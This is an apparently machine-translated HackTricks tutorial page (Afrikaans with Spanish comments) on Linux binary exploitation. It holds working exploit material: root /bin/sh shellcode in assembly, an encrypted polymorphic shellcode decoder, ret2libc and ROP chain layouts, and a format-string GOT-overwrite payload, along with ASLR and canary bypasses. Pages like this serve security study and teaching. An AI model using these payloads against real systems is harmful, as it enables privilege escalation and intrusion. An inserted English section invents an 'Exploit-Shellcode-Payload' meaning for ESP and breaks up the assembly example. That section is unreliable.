hacktricks/exploiting/linux-exploiting-basic-esp
2024-02-11 02:07:06 +00:00
..
rop-leaking-libc-address Translated to Afrikaans 2024-02-11 02:07:06 +00:00
bypassing-canary-and-pie.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
format-strings-template.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
fusion.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
ret2lib.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
rop-syscall-execv.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

Linux Exploiting (Basies) (SPA)

Linux Exploiting (Basies) (SPA)

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

ASLR

Aleatorisering van adresse

Deaktiveer globale aleatorisering (ASLR) (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Heraktiveer globale aleatorisering: echo 2 > /proc/sys/kernel/randomize_va_space

Deaktiveer vir 'n uitvoering (vereis nie root nie):
setarch `arch` -R ./voorbeeld argumente
setarch `uname -m` -R ./voorbeeld argumente

Deaktiveer uitvoeringsbeskerming op stoor
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack voorbeeld.c -o voorbeeld

KernlĂȘer
ulimit -c unlimited
gdb /exec kern_leer
/etc/security/limits.conf -> * soft core unlimited

Tekst
Data
BSS
Heap

Stoor

BSS-seksie: Globale of statiese veranderlikes sonder inisialisering

static int i;

Afdeling DATA: Globale of geĂŻnitialiseerde statiese veranderlikes

int i = 5;

Afdeling TEKS: Instruksies van die kode (opcodes)

Afdeling HEAP: Dinamies toegewysde buffer (malloc(), calloc(), realloc())

Afdeling STACK: Die stoor (Oorgedra argumente, omgewingsreekse (env), plaaslike veranderlikes...)

1. STACK OVERFLOWS

buffer overflow, buffer overrun, stack overrun, stack smashing

Segmentfout of segmentoortreding: Wanneer daar gepoog word om toegang tot 'n geheue-adres te verkry wat nie aan die proses toegewys is nie.

Om die adres van 'n funksie binne 'n program te verkry, kan jy dit doen:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Oproep na sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Bekyk kernel-onderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_"

setreuid(0,0); // __NR_setreuid 70
execve("/bin/sh", args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; maak eax skoon
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Voer syscall uit

nasm -f elf assembly.asm —> Gee ons 'n .o terug
ld assembly.o -o shellcodeout —> Gee ons 'n uitvoerbare lĂȘer wat bestaan uit die saamgestelde kode en ons kan die opcodes kry met objdump
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry

Bevestig dat die shellcode werk

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

Om te sien of die stelseloproep korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in strace ./GEKOMPILEERDE_PROGRAM

By die skep van shellcodes kan 'n truuk gebruik word. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode op en plaas ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en steeds die kode kan uitvoer.

VB TRUUK (/bin/sh):

jmp                 0x1f                                        ; Salto al Ășltimo call
popl                %esi                                       ; Guardamos en ese la direcciĂłn al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instruciĂłn
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

Gebruik van de Stack (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

Linux Exploiting Basic ESP

Introduction

In this section, we will cover the basics of exploiting Linux systems using the ESP (Exploit-Shellcode-Payload) technique. We will explore the steps involved in crafting and executing an exploit, as well as the different components of an exploit.

Prerequisites

Before diving into Linux exploitation, it is important to have a solid understanding of the following concepts:

  • Linux operating system
  • Assembly language
  • Buffer overflows
  • Shellcode development

Exploit-Shellcode-Payload (ESP) Technique

The ESP technique involves the following three components:

  1. Exploit: This is the vulnerability or weakness in the target system that allows an attacker to gain unauthorized access or control.
  2. Shellcode: This is the payload that is injected into the target system to execute the desired actions.
  3. Payload: This is the set of instructions or actions that the attacker wants to perform on the target system.

Crafting an Exploit

Crafting an exploit involves the following steps:

  1. Identifying the vulnerability: This step involves finding a vulnerability in the target system that can be exploited.
  2. Developing the shellcode: Once the vulnerability is identified, the attacker needs to develop the shellcode that will be injected into the target system.
  3. Creating the payload: The payload is created by combining the exploit and the shellcode.
  4. Delivering the payload: The final step is to deliver the payload to the target system, typically through a network connection.

Executing an Exploit

Executing an exploit involves the following steps:

  1. Triggering the vulnerability: The attacker needs to trigger the vulnerability in the target system to initiate the exploit.
  2. Injecting the shellcode: Once the vulnerability is triggered, the attacker injects the shellcode into the target system.
  3. Executing the payload: The shellcode is executed, allowing the attacker to perform the desired actions on the target system.

Conclusion

The ESP technique is a fundamental concept in Linux exploitation. By understanding the different components of an exploit and the steps involved in crafting and executing an exploit, you can effectively exploit vulnerabilities in Linux systems.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutĂł fabs



Eierjagter:

Dit bestaan uit 'n klein kode wat deur die geheuebladsye van 'n proses loop op soek na die daar gestoorde skulpkode (deur te soek na 'n handtekening wat in die skulpkode geplaas is). Dit is nuttig in gevalle waar daar slegs 'n klein spasie is om kode in te spuit.

Polimorfiese skulpkode

Dit bestaan uit versleutelde skulpe wat klein kodes bevat wat dit ontsluit en daarna daarna spring, deur gebruik te maak van die Call-Pop-truuk. Hier is 'n voorbeeld van 'n Caesar-versleutelde skulpkode:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerĂĄ)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;AquĂ­ va el shellcode
  1. Aanval op die Frame Pointer (EBP)

Nuttig in 'n situasie waar ons die EBP kan wysig, maar nie die EIP nie.

Dit is bekend dat die volgende assamblierkode uitgevoer word wanneer 'n funksie verlaat word:

movl               %ebp, %esp
popl                %ebp
ret

Op hierdie manier kan die EBP gewysig word wanneer 'n funksie (fvuln) wat deur 'n ander funksie geroep is, verlaat word. As die funksie wat fvuln geroep het klaar is, kan sy EIP gewysig word.

In fvuln kan 'n vals EBP ingevoer word wat na 'n plek wys waar die adres van die shellcode + 4 is (4 moet bygevoeg word vir die pop). Op hierdie manier, wanneer die funksie verlaat word, sal die waarde van &(&Shellcode)+4 in ESP geplaas word, met die pop sal 4 van ESP afgetrek word en dit sal na die adres van die shellcode wys wanneer die ret uitgevoer word.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + vulsel + &(&Shellcode)+4

Off-by-One Exploit
Slegs die minst betekenisvolle byte van die EBP kan gewysig word. 'n Aanval soos die vorige kan uitgevoer word, maar die geheue wat die adres van die shellcode bevat, moet die eerste 3 byte deel met die EBP.

4. Return to Libc-metodes

'n Nuttige metode wanneer die stapel nie uitvoerbaar is nie of 'n baie klein buffer het om te wysig.

ASLR veroorsaak dat funksies by elke uitvoering op verskillende plekke in die geheue gelaai word. Daarom kan hierdie metode nie effektief wees in daardie geval nie. Vir afgeleë bedieners, aangesien die program konstant op dieselfde adres uitgevoer word, kan dit nuttig wees.

  • cdecl (C-verklaring) Plaas die argumente in die stapel en maak die stapel skoon nadat die funksie verlaat is.
  • stdcall (standaardoproep) Plaas die argumente in die stapel en die funksie wat geroep word, maak dit skoon.
  • fastcall Plaas die eerste twee argumente in registers en die res in die stapel.

Die adres van die system-instruksie van libc word geplaas en die string "/bin/sh" word as 'n argument oorgedra, gewoonlik vanuit 'n omgewingsveranderlike. Daarbenewens word die adres van die exit-funksie gebruik sodat die program sonder probleme kan afsluit (en logboeke skryf) sodra die skulp nie meer nodig is nie.

export SHELL=/bin/sh

Om die benodigde adresse te vind, kan jy binne GDB kyk:
p system
p exit
rabin2 -i uitvoerbare lĂȘer —> Gee die adres van al die funksies wat deur die program gebruik word wanneer dit gelaai word
(Binne 'n begin of enige breekpunt): x/500s $esp —> Soek hierdie string /bin/sh

Nadat ons hierdie adresse het, sal die exploit so lyk:

"A" * EBP-AFSTAND + 4 (EBP: dit kan 4 "A"s wees, maar dit is beter as dit die werklike EBP is om segmentasie-foute te voorkom) + Adres van system (dit sal die EIP oorskryf) + Adres van exit (as system("/bin/sh") klaar is, sal hierdie funksie geroep word omdat die eerste 4 byte van die stapel as die volgende EIP-adres beskou word) + Adres van "/bin/sh" (dit sal die parameter wees wat aan system oorgedra word)

Op hierdie manier sal die EIP oorskryf word met die adres van system wat die string "/bin/sh" as 'n parameter sal ontvang, en wanneer dit klaar is, sal dit die exit()-funksie uitvoer.

Dit is moontlik dat een byte van 'n adres van 'n funksie nul of spasie (\x20) kan wees. In hierdie geval kan die vorige adresse voor daardie funksie ontleed word, omdat daar waarskynlik verskeie NOP's is wat ons in staat stel om een van hulle te roep in plaas van die funksie self (byvoorbeeld met > x/8i system-4).

Hierdie metode werk omdat wanneer 'n funksie soos system geroep word deur die opcode ret in plaas van call te gebruik, verstaan die funksie dat die eerste 4 byte die EIP-adres is waarna teruggekeer moet word.

'n Interessante tegniek met hierdie metode is om strncpy() te roep om 'n nutlading van die stapel na die heap te skuif en dan gets() te gebruik om hierdie nutlading uit te voer.

'n Ander interessante tegniek is die gebruik van mprotect(), wat toelaat dat die gewenste toestemmings aan enige deel van die geheue toegewys word. Dit werk of het gewerk in BDS, MacOS en OpenBSD, maar nie in Linux (beheer dat skryf- en uitvoerregte nie gelyktydig toegestaan kan word nie). Met hierdie aanval kan die stapel weer as uitvoerbaar ingestel word.

Funksieketting

Gebaseer op die vorige tegniek, bestaan hierdie vorm van uitbuiting uit:
Vulsel + &Funksie1 + &pop;ret; + &arg_fun1 + &Funksie2 + &pop;ret; + &arg_fun2 + ...

Op hierdie manier kan funksies aanmekaar geketting word om op te roep. As funksies met verskeie argumente gebruik wil word, kan die nodige argumente geplaas word (bv. 4) en die 4 argumente geplaas word en 'n adres soek na 'n plek met opkodes: pop, pop, pop, pop, ret —> objdump -d uitvoerbare lĂȘer

Ketting deur vervalsing van rame (EBP-ketting)

Dit behels die gebruik van die vermoë om die EBP te manipuleer om die uitvoering van verskeie funksies deur die EBP en "leave;ret" te ketting.

VULSEL

  • Plaas 'n vals EBP in die EBP wat wys na: 2de vals EBP + die funksie wat uitgevoer moet word: (&system() + &leave;ret + &"/bin/sh")
  • Plaas 'n funksie &(leave;ret) as die adres in die EIP

Begin die shellcode met die adres van die volgende deel van die shellcode, bv. 2de vals EBP + &system() + &(leave;ret;) + &"/bin/sh"

Die 2de EBP sal wees: 3de vals EBP + &system() + &(leave;ret;) + &"/bin/ls"

Hierdie shellcode kan oneindig herhaal word in dele van die geheue waar toegang verkry kan word, sodat 'n shellcode maklik in klein stukkies geheue verdeel kan word.

(Die uitvoering van funksies word geketting deur die vorige EBP- en ret2lib-kwesbaarhede te meng)

5. Aanvullende metodes

Ret2Ret

Dit is nuttig wanneer 'n adres van die stapel nie in die EIP geplaas kan word nie (dit word geverifieer dat die EIP nie 0xbf bevat nie) of wanneer die ligging van die shellcode nie bereken kan word nie. Maar die kwesbare funksie aanvaar 'n parameter (die shellcode sal hier wees).

Op hierdie manier, deur die EIP te verander na 'n adres van 'n ret, sal die volgende adres gelaai word (wat die adres van die eerste argument van die funksie is). Dit beteken dat die shellcode gelaai sal word.

Die exploit sal lyk as volg: SHELLCODE + Vulsel (tot by EIP) + &ret (die volgende byte van die stapel wys na die begin van die shellcode omdat die adres van die oorgedrae parameter in die stapel geplaas word)

Dit blyk dat funksies soos strncpy nadat hulle voltooi is, die adres waar die shellcode gestoor is, uit die stapel verwyder, wat hierdie tegniek onmoontlik maak. Dit beteken dat die adres wat as 'n argument aan die funksie oorgedra word (die een wat die shellcode stoor) gewysig word deur 'n 0x00, sodat wanneer die tweede ret geroep word, dit 'n 0x00 kry en die program sterf.

**Ret2PopRet**

As ons nie beheer het oor die eerste argument nie, maar wel oor die tweede of derde, kan ons EIP oorskryf met 'n adres na pop-ret of pop-pop-ret, afhangende van wat ons nodig het.

Murat se tegniek

In Linux word alle programme gekaart beginnende by 0xbfffffff.

Deur te kyk hoe 'n nuwe proses se stapel in Linux opgebou word, kan 'n uitbuiting ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres daarvan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(VOLLEDIGE_UITVOERBARE_NAAM) - strlen(shellcode)

Op hierdie manier kan die adres waar die omgewingsveranderlike met die shellcode is, maklik verkry word.

Dit kan gedoen word omdat die execle-funksie 'n omgewing kan skep wat slegs die omgewingsveranderlikes bevat wat gewens word.

Spring na ESP: Windows-styl

Omdat ESP altyd na die begin van die stapel wys, behels hierdie tegniek die vervanging van EIP met 'n adres na 'n oproep na jmp esp of call esp. Op hierdie manier word die shellcode gestoor na die oorskrywing van EIP, aangesien die ESP na die uitvoering van die ret na die volgende adres wys, presies waar die shellcode gestoor is.

As ASLR nie aktief is in Windows of Linux nie, kan jmp esp of call esp geroep word wat in 'n gedeelde voorwerp gestoor is. As ASLR wel aktief is, kan dit binne die kwesbare program self gesoek word.

Verder maak die feit dat die shellcode na die oorskrywing van EIP geplaas word in plaas van in die middel van die stapel, dit moontlik dat die push- of pop-instruksies wat in die middel van die funksie uitgevoer word, nie die shellcode raak nie (wat wel kan gebeur as dit in die middel van die stapel van die funksie geplaas word).

Op 'n baie soortgelyke manier kan 'n funksie wat die adres waar die shellcode gestoor is, teruggee, geroep word met call eax of jmp eax (ret2eax).

ROP (Return Oriented Programming) of geleende kodebrokke

Die stukke kode wat opgeroep word, staan bekend as gadgets.

Hierdie tegniek behels die koppel van verskillende oproepe na funksies deur die gebruik van die ret2libc-tegniek en die gebruik van pop,ret.

In sommige prosesseerargitekture is elke instruksie 'n stel van 32-bits (soos MIPS). Tog is instruksies in Intel van veranderlike grootte en verskeie instruksies kan 'n stel bits deel, byvoorbeeld:

movl $0xe4ff, -0x(%ebp) —> Bevat die bytes 0xffe4 wat ook vertaal kan word as: jmp *%esp

Op hierdie manier kan sekere instruksies uitgevoer word wat nie eintlik in die oorspronklike program is nie.

ROPgadget.py help ons om waardes in binĂȘre lĂȘers te vind.

Hierdie program kan ook gebruik word om die payloads te skep. Jy kan die biblioteek gee waaruit jy die ROPs wil haal, en dit sal 'n Python-payload genereer wat gereed is om as shellcode gebruik te word. Verder, omdat dit stelseloproepe gebruik, voer dit nie werklik iets uit op die stapel nie, maar hou dit net die adresse van ROPs wat uitgevoer sal word deur middel van ret. Om hierdie payload te gebruik, moet die payload geroep word deur 'n ret-instruksie.

Integer-oorloop

Hierdie tipe oorloop vind plaas wanneer 'n veranderlike nie gereed is om 'n so groot getal te hanteer soos wat aan hom oorgedra word nie, moontlik as gevolg van verwarring tussen veranderlikes met en sonder teken, byvoorbeeld:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

In die vorige voorbeeld sien ons dat die program 2 parameters verwag. Die eerste is die lengte van die volgende string en die tweede is die string self.

As ons 'n negatiewe getal as die eerste parameter gee, sal dit sĂȘ dat len < 256 en sal ons daardie filter verbykom. Verder sal strlen(buffer) ook kleiner wees as l, omdat l 'n unsigned int is en baie groot sal wees.

Hierdie tipe oorloop probeer nie om iets in die program se proses te skryf nie, maar om sleg ontwerpte filters te omseil om ander kwesbaarhede uit te buit.

OngeĂŻnitialiseerde veranderlikes

Die waarde van 'n ongeĂŻnitialiseerde veranderlike is onbekend en dit kan interessant wees om dit te ondersoek. Dit kan wees dat dit die waarde aanneem van 'n veranderlike in die vorige funksie en dat dit deur die aanvaller beheer word.

Formaat Strings

In C is printf 'n funksie wat gebruik kan word om 'n string af te druk. Die eerste parameter wat hierdie funksie verwag, is die rou teks met die formatters. Die volgende parameters wat verwag word, is die waardes wat die formatters in die rou teks moet vervang.

Die kwesbaarheid ontstaan wanneer 'n aanvaller se teks as die eerste argument aan hierdie funksie voorsien word. Die aanvaller sal in staat wees om 'n spesiale inset te skep deur misbruik te maak van die printf-formaatstring se vermoĂ«ns om enige data in enige adres te skryf. Op hierdie manier kan arbitĂȘre kode uitgevoer word.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n skryf die aantal geskryfde bytes in die aangeduide adres. Deur soveel bytes te skryf as die heksgetal wat ons nodig het om te skryf, kan jy enige data skryf.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4Âș param
AAAA.%500\$08x —> Param at offset 500

GOT (Global Offsets Table) / PLT (Procedure Linkage Table)

Dit is die tabel wat die adres bevat van die eksterne funksies wat deur die program gebruik word.

Kry die adres van hierdie tabel met: objdump -s -j .got ./exec

Let daarop hoe nadat die uitvoerbare lĂȘer in GEF gelaai is, kan jy die funksies sien wat in die GOT is: gef➀ x/20x 0xDIR_GOT

Met GEF kan jy 'n foutopsporingsessie begin en die got uitvoer om die got-tabel te sien:

In 'n binĂȘre lĂȘer het die GOT die adresse na die funksies of na die PLT-seksie wat die funksie-adres sal laai. Die doel van hierdie aanval is om die GOT-inskrywing van 'n funksie wat later uitgevoer gaan word, te oorskryf met die adres van die PLT van die system-funksie. Ideaal gesproke sal jy die GOT van 'n funksie oorskryf wat geroep gaan word met parameters wat deur jou beheer word (sodat jy die parameters wat na die stelsel-funksie gestuur word, kan beheer).

As die skripsie nie system gebruik nie, sal die stelsel-funksie nie 'n inskrywing in die GOT hĂȘ nie. In hierdie scenario sal jy die adres van die system-funksie eerste moet uitlek.

Die Procedure Linkage Table is 'n alleenleestabel in die ELF-lĂȘer wat al die nodige simbole stoor wat 'n oplossing benodig. Wanneer een van hierdie funksies geroep word, sal die GOT die vloei na die PLT omskakel sodat dit die adres van die funksie kan oplos en dit in die GOT kan skryf.
Daarna, die volgende keer as 'n oproep na daardie adres uitgevoer word, word die funksie direk geroep sonder om dit op te los.

Jy kan die PLT-adresse sien met objdump -j .plt -d ./vuln_binary

Exploit Vloei

Soos voorheen verduidelik, is die doel om die adres van 'n funksie in die GOT-tabel te oorskryf wat later geroep gaan word. Ideaal gesproke kan ons die adres na 'n skulpkode stel wat in 'n uitvoerbare seksie geleë is, maar dit is baie waarskynlik dat jy nie 'n skulpkode in 'n uitvoerbare seksie kan skryf nie.
Dus 'n ander opsie is om 'n funksie wat sy argumente van die gebruiker ontvang, te oorskryf en dit na die system-funksie te verwys.

Om die adres te skryf, word gewoonlik 2 stappe gedoen: Jy skryf eerstens 2 byte van die adres en dan die ander 2. Om dit te doen, word $hn gebruik.

HOB verwys na die 2 hoër byte van die adres
LOB verwys na die 2 laer byte van die adres

Dus, as gevolg van hoe formaatstring werk, moet jy eerstens die kleinste van [HOB, LOB] skryf en dan die ander een.

As HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

As HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NÂșParam_dir_HOB LOB_shell-HOB_shell NÂșParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Formaatstring Aanval Sjabloon

Jy kan 'n sjabloon vind om die GOT te misbruik deur formaatstrings hier:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Dit is in wese 'n struktuur met funksies wat voor die program klaar uitgevoer word. Dit is interessant as jy jou skulpkode kan roep deur na 'n adres te spring, of in gevalle waar jy weer terug na die hoofprogram moet gaan om die formaatstring 'n tweede keer te misbruik.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Let wel dat dit nie 'n ewige lus sal skep nie, omdat wanneer jy terugkeer na die hooffunksie, sal die kanarie dit opmerk, die einde van die stapel mag dalk beskadig wees en die funksie sal nie weer geroep word nie. So met hierdie metode sal jy in staat wees om 1 ekstra uitvoering van die kwesbaarheid te hĂȘ.

Formaat Strings om Inhoud te Dump

'n Formaat string kan ook misbruik word om inhoud uit die geheue van die program te dump.
Byvoorbeeld, in die volgende situasie is daar 'n plaaslike veranderlike in die stapel wat na 'n vlag wys. As jy vind waar in die geheue die wyser na die vlag is, kan jy printf toegang tot daardie adres maak en die vlag druk:

So, vlag is in 0xffffcf4c

En vanuit die lek kan jy sien dat die wyser na die vlag in die 8ste parameter is:

So, deur die 8ste parameter te benader, kan jy die vlag kry:

Let daarop dat na die vorige aanval en besef dat jy inhoud kan lek, kan jy wyers stel na printf na die afdeling waar die uitvoerbare lĂȘer gelaai word en dit volledig dump!

DTOR

{% hint style="danger" %} Teenwoordig is dit baie vreemd om 'n binĂȘre lĂȘer met 'n dtor-afdeling te vind. {% endhint %}

Die destructor is funksies wat uitgevoer word voordat die program eindig.
As jy daarin slaag om 'n adres na 'n shellcode in __DTOR_END__ te skryf, sal dit uitgevoer word voordat die programme eindig.
Kry die adres van hierdie afdeling met:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Gewoonlik sal jy die DTOR-afdeling tussen die waardes ffffffff en 00000000 vind. So as jy net daardie waardes sien, beteken dit dat daar geen funksie geregistreer is nie. Skryf dus die 00000000 oor met die adres na die shellcode om dit uit te voer.

Formaatstrings vir buffer-oorloop

Die sprintf-funksie skuif 'n geformateerde string na 'n veranderlike. Daarom kan jy die formattering van 'n string misbruik om 'n buffer-oorloop in die veranderlike waar die inhoud gekopieer word, te veroorsaak.
Byvoorbeeld, die payload %.44xAAAA sal 44B+"AAAA" in die veranderlike skryf, wat 'n buffer-oorloop kan veroorsaak.

__atexit-Strukture

{% hint style="danger" %} Teenwoordig is dit baie vreemd om dit uit te buit. {% endhint %}

atexit() is 'n funksie waarvolgens ander funksies as parameters oorgedra word. Hierdie funksies sal uitgevoer word wanneer 'n exit() uitgevoer word of die terugkeer van die hooffunksie.
As jy die adres van enige van hierdie funksies kan verander om na 'n shellcode te verwys, sal jy beheer oor die proses verkry, maar dit is tans meer ingewikkeld.
Tans is die adresse van die funksies wat uitgevoer moet word, verskuil agter verskeie strukture en uiteindelik is die adres waarna dit verwys nie die adresse van die funksies nie, maar is geënkripteer met XOR en verskuiwings met 'n willekeurige sleutel. Dus is hierdie aanvalsvektor tans nie baie nuttig ten minste op x86 en x64_86 nie.
Die enkripsiefunksie is PTR_MANGLE. Ander argitekture soos m68k, mips32, mips64, aarch64, arm, hppa... implementeer nie die enkripsie-funksie nie omdat dit dieselfde teruggee as wat as inset ontvang is. Dus kan hierdie argitekture deur hierdie vektor aangeval word.

setjmp() & longjmp()

{% hint style="danger" %} Teenwoordig is dit baie vreemd om dit uit te buit. {% endhint %}

Setjmp() maak dit moontlik om die konteks (die registers) te stoor.
longjmp() maak dit moontlik om die konteks te herstel.
Die gestoorde registers is: EBX, ESI, EDI, ESP, EIP, EBP
Wat gebeur is dat EIP en ESP deur die PTR_MANGLE-funksie oorgedra word, sodat die argitektuur wat vatbaar is vir hierdie aanval dieselfde is as hierbo.
Hulle is nuttig vir foutherstel of onderbrekings.
Tog, volgens wat ek gelees het, word die ander registers nie beskerm nie, dus as daar 'n call ebx, call esi of call edi binne die funksie wat geroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om ESP te wysig.

VTable en VPTR in C++

Elke klas het 'n Vtabel wat 'n reeks verwysings na metodes is.

Elke voorwerp van 'n klas het 'n VPtr wat 'n verwysing na die reeks van sy klas is. Die VPtr is deel van die kop van elke voorwerp, so as 'n oorwritting van die VPtr bereik word, kan dit verander word om na 'n dummie-metode te verwys, sodat die uitvoering van 'n funksie na die shellcode sal gaan.

Voorkomende maatreëls en ontduiking

ASLR nie so willekeurig nie

PaX verdeel die adresruimte van die proses in 3 groepe:

Geïnisieerde en nie-geïnisieerde kodes en data: .text, .data en .bss —> 16-bits entropie in die delta_exec-veranderlike, hierdie veranderlike word willekeurig geïnisieer met elke proses en word by die aanvanklike adresse gevoeg

Geheue toegewys deur mmap() en gedeelde biblioteke —> 16-bits, delta_mmap

Die stapel —> 24-bits, delta_stack —> Werklik 11 (vanaf die 10de tot die 20ste byte ingesluit) —> uitgelyn op 16 byte —> 524,288 moontlike werklike stapeladresse

Die omgewingsveranderlikes en argumente skuif minder as 'n buffer op die stapel.

Return-into-printf

Dit is 'n tegniek om 'n buffer-oorloop in 'n formaatfout om te skakel. Dit behels die vervanging van die EIP sodat dit na 'n printf van die funksie verwys en 'n gemanipuleerde formaatstring as argument oorgedra word om waardes oor die toestand van die proses te verkry.

Aanval op biblioteke

Biblioteke is op 'n posisie met 16-bits willekeurigheid = 65,636 moontlike adresse. As 'n kwesbare bediener fork() aanroep, word die geheue-adresruimte in die kinderproses gekloneer en bly onveranderd. Daarom kan 'n brute force-aanval op die usleep()-funksie van libc probeer word deur "16" as argument oor te dra, sodat as dit langer as normaal neem om te reageer, die funksie gevind is. Deur te weet waar hierdie funksie is, kan delta_mmap verkry word en die ander bereken word.

Die enigste manier om seker te wees dat ASLR werk, is om 64-bits argitektuur te gebruik. Daar is geen brute force-aanvalle nie.

StackGuard en StackShield

StackGuard voeg voor die EIP in —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Ontvang steeds aanvalle recv(), memcpy(), read(), bcoy() en beskerm nie die EBP nie

StackShield is meer ingewikkeld as StackGuard

Dit stoor al die terugkeer-EIP-adresse in 'n tabel (Global Return Stack) sodat die oorloop geen skade veroorsaak nie. Daarbenewens kan beide adresse vergelyk word om te sien of daar 'n oorloop was.

Die terugkeeradres kan ook met 'n limietwaarde vergelyk word, sodat as die EIP na 'n ander plek as die normale soos die data-ruimte gaan, dit bekend sal wees. Maar dit kan omseil word met Ret-to-lib, ROP's of ret2ret.

Soos gesien kan word, beskerm stackshield ook nie die plaaslike veranderlikes nie.

Stack Smash Protector (ProPolice) -fstack-protector

Die kanarie word voor die EBP geplaas. Dit herorden die plaaslike veranderlikes sodat die buffers in die hoogste posisies is en dus nie ander veranderlikes oorskryf kan word nie.

Dit maak ook 'n veilige kopie van die argumente wat bo-op die stapel (bo-op die plaaslike veranderlikes) oorgedra word en gebruik hierdie kopieë as argumente.

Dit kan nie rye van minder as 8 elemente of buffers wat deel is van 'n gebruikersstruktuur beskerm nie.

Die kanarie is 'n willekeurige getal wat uit "dev/urandom" gehaal word, of andersins is dit 0xff0a0000. Dit word in TLS (Thread Local Storage) gestoor. Drade deel dieselfde geheue-adresruimte, TLS is 'n area wat globale of statiese veranderlikes van elke draad bevat. In beginsel word hierdie van die ouerproses gekopieer, maar die kinderproses kan

Relro

